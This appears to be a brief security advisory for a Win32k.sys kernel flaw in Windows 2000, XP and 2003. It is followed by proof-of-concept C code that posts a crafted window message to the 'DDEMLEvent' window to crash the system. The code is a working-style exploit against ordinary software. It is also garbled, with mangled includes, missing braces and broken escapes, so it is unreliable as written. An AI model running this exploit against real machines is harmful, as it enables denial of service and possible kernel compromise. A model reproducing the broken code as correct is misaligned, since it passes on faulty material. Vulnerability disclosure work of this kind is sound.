Microsoft Windows is prone to a local privilege-escalation vulnerability.
A local attacker may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition.
Microsoft Windows 2000, Windows XP and Windows 2003 are affected by this issue.
# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv )
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\firstname.lastname@example.org\nPressEnter");
HWND hwnd = FindWindow ("DDEMLEvent", NULL);
if (hwnd == 0)
printf ("cannot find DDEMLEvent Window! \ n");
PostMessage (hwnd, 0x4c, 0x4, 0x80000000);